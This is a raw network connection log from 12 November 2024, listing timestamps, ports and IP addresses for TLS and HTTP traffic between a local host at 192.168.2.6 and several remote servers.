Nov 12, 2024 10:37:19.076581001 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.076581001 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.076611996 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.094096899 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.094177008 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.094347954 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.094368935 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.094368935 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.094384909 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.094394922 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.096472025 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.096502066 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.096714020 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.096714020 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.096743107 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.111300945 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.111402035 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.111548901 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.111548901 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.111635923 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.111653090 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.113729000 CET	49788	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.113763094 CET	443	49788	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.113934994 CET	49788	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.114021063 CET	49788	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.114031076 CET	443	49788	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.132761955 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.133637905 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.133637905 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.133662939 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.133680105 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.172005892 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.172516108 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.172574043 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.172612906 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.172612906 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.172625065 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.172636986 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.175144911 CET	49789	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.175167084 CET	443	49789	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.175371885 CET	49789	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.175477028 CET	49789	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.175487995 CET	443	49789	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.260277987 CET	80	49772	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:19.260483027 CET	49772	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:19.267721891 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.267781973 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.267916918 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.268105030 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.268121958 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.268163919 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.268168926 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.271023035 CET	49790	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.271060944 CET	443	49790	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.271275043 CET	49790	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.271456003 CET	49790	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.271466970 CET	443	49790	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.823434114 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.824027061 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.824062109 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.825284004 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.825289965 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.841882944 CET	443	49788	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.843360901 CET	49788	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.843375921 CET	443	49788	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.844264984 CET	49788	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.844270945 CET	443	49788	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.870857000 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.872066021 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.872081041 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.872580051 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.872585058 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.935889959 CET	443	49789	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.952568054 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.952634096 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.952936888 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.957500935 CET	49789	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.957524061 CET	443	49789	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.957940102 CET	49789	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.957947016 CET	443	49789	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.969686031 CET	443	49788	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.969862938 CET	443	49788	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.970180988 CET	49788	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.970755100 CET	49788	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.970772982 CET	443	49788	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:19.970871925 CET	49788	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:19.970884085 CET	443	49788	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.005534887 CET	443	49790	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.008192062 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.008260965 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.010222912 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.045136929 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.045164108 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.045176983 CET	49787	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.045188904 CET	443	49787	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.045435905 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.045458078 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.045469046 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.045475960 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.055380106 CET	49790	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.076494932 CET	49790	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.076503038 CET	443	49790	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.077096939 CET	49790	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.077100992 CET	443	49790	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.087807894 CET	443	49789	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.088133097 CET	443	49789	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.088366032 CET	49789	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.096574068 CET	49789	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.096589088 CET	443	49789	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.096657991 CET	49789	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.096663952 CET	443	49789	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.112948895 CET	49792	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.112978935 CET	443	49792	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.113037109 CET	49792	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.115005016 CET	49793	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.115045071 CET	443	49793	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.115129948 CET	49793	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.115288973 CET	49793	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.115303040 CET	443	49793	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.143373013 CET	49792	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.143393040 CET	443	49792	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.166546106 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.166564941 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.166697979 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.177026987 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.177072048 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.177297115 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.186929941 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.186939955 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.201901913 CET	443	49790	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.202042103 CET	443	49790	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.202115059 CET	49790	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.226041079 CET	49790	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.226041079 CET	49790	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.226066113 CET	443	49790	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.226075888 CET	443	49790	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.230061054 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.230091095 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.336103916 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.336149931 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.336241961 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.369066954 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.369081020 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.846822023 CET	443	49793	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.865020990 CET	443	49792	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.887151957 CET	49793	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.887171984 CET	443	49793	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.889182091 CET	49793	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.889188051 CET	443	49793	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.914740086 CET	49792	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.921504974 CET	49792	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.921519041 CET	443	49792	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.922040939 CET	49792	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.922046900 CET	443	49792	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.929732084 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.932028055 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.932043076 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.933482885 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.933490038 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.958385944 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.965946913 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.965976954 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:20.969522953 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:20.969542027 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.016107082 CET	443	49793	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.016185999 CET	443	49793	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.016242027 CET	49793	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.045193911 CET	443	49792	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.045255899 CET	443	49792	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.045748949 CET	49792	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.060781002 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.061103106 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.061747074 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.084965944 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.096411943 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.099216938 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.099267006 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.133269072 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.133290052 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.134011030 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.134015083 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.134274006 CET	49793	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.134310961 CET	443	49793	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.134331942 CET	49793	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.134331942 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.134344101 CET	443	49793	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.134363890 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.134376049 CET	49795	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.134378910 CET	443	49795	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.141187906 CET	49792	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.141187906 CET	49792	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.141218901 CET	443	49792	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.141230106 CET	443	49792	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.142683983 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.142688990 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.154520035 CET	49797	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.154561996 CET	443	49797	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.154644966 CET	49797	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.154799938 CET	49797	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.154809952 CET	443	49797	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.161003113 CET	49798	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.161027908 CET	443	49798	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.161125898 CET	49798	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.162446976 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.162456989 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.162619114 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.162872076 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.162884951 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.169634104 CET	49800	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.169667006 CET	443	49800	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.169745922 CET	49800	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.208636999 CET	49798	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.208662033 CET	443	49798	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.209841013 CET	49800	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.209865093 CET	443	49800	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.257797003 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.257925987 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.258184910 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.284842968 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.284882069 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.284895897 CET	49796	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.284904003 CET	443	49796	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.372297049 CET	49801	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.372364998 CET	443	49801	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.372457027 CET	49801	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.817641973 CET	49801	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.817692995 CET	443	49801	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.887207031 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:21.887255907 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:21.887388945 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:21.889152050 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:21.889164925 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:21.889369011 CET	443	49797	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.891935110 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.923614979 CET	49797	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.923629999 CET	443	49797	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.924298048 CET	49797	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.924304962 CET	443	49797	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.924896955 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.924911976 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.925409079 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.925414085 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.934318066 CET	443	49798	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.935146093 CET	49798	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.935162067 CET	443	49798	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.935547113 CET	49798	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.935553074 CET	443	49798	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.936908007 CET	443	49800	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.938509941 CET	49800	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.938536882 CET	443	49800	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:21.938939095 CET	49800	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:21.938944101 CET	443	49800	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.049108982 CET	443	49797	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.049204111 CET	443	49797	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.049412966 CET	49797	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.049840927 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.050000906 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.050050974 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.063355923 CET	443	49798	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.063496113 CET	443	49798	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.063561916 CET	49798	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.067444086 CET	443	49800	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.067583084 CET	443	49800	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.067626953 CET	49800	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.105536938 CET	49797	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.105550051 CET	443	49797	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.106707096 CET	49800	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.106733084 CET	443	49800	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.106748104 CET	49800	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.106753111 CET	443	49800	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.108732939 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.108740091 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.108750105 CET	49799	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.108753920 CET	443	49799	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.114912033 CET	49798	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.114912033 CET	49798	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.114923000 CET	443	49798	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.114933014 CET	443	49798	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.120307922 CET	49806	443	192.168.2.6	94.245.104.56
Nov 12, 2024 10:37:22.120336056 CET	443	49806	94.245.104.56	192.168.2.6
Nov 12, 2024 10:37:22.120400906 CET	49806	443	192.168.2.6	94.245.104.56
Nov 12, 2024 10:37:22.121876955 CET	49806	443	192.168.2.6	94.245.104.56
Nov 12, 2024 10:37:22.121889114 CET	443	49806	94.245.104.56	192.168.2.6
Nov 12, 2024 10:37:22.551068068 CET	443	49801	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.599303007 CET	49801	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.685831070 CET	49801	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.685847998 CET	443	49801	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.688652039 CET	49801	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.688663960 CET	443	49801	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.740436077 CET	49706	443	192.168.2.6	20.190.160.20
Nov 12, 2024 10:37:22.740614891 CET	49706	443	192.168.2.6	20.190.160.20
Nov 12, 2024 10:37:22.745379925 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:22.745445967 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:22.745548010 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:22.745687962 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:22.745699883 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:22.747888088 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.747936964 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.747997999 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.748243093 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.748284101 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.748370886 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.757899046 CET	49809	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.757925034 CET	443	49809	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.758078098 CET	49810	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.758102894 CET	443	49810	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.802520990 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.802557945 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.802635908 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.813987970 CET	443	49801	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.814050913 CET	443	49801	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.814265966 CET	49801	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.828269005 CET	49811	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.828289986 CET	443	49811	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.837933064 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.837960958 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.838088036 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.838304043 CET	49812	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.838314056 CET	443	49812	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.839289904 CET	49801	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.839308977 CET	443	49801	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.920254946 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.920285940 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:22.920568943 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.975388050 CET	49813	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:22.975405931 CET	443	49813	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:23.015479088 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.020692110 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.020718098 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.021872997 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.021950006 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.034132004 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.034302950 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.034634113 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.034645081 CET	443	49802	52.123.243.216	192.168.2.6
Nov 12, 2024 10:37:23.118612051 CET	49802	443	192.168.2.6	52.123.243.216
Nov 12, 2024 10:37:23.137727976 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:23.137742996 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:23.137756109 CET	443	49706	20.190.160.20	192.168.2.6
Nov 12, 2024 10:37:23.137811899 CET	49706	443	192.168.2.6	20.190.160.20
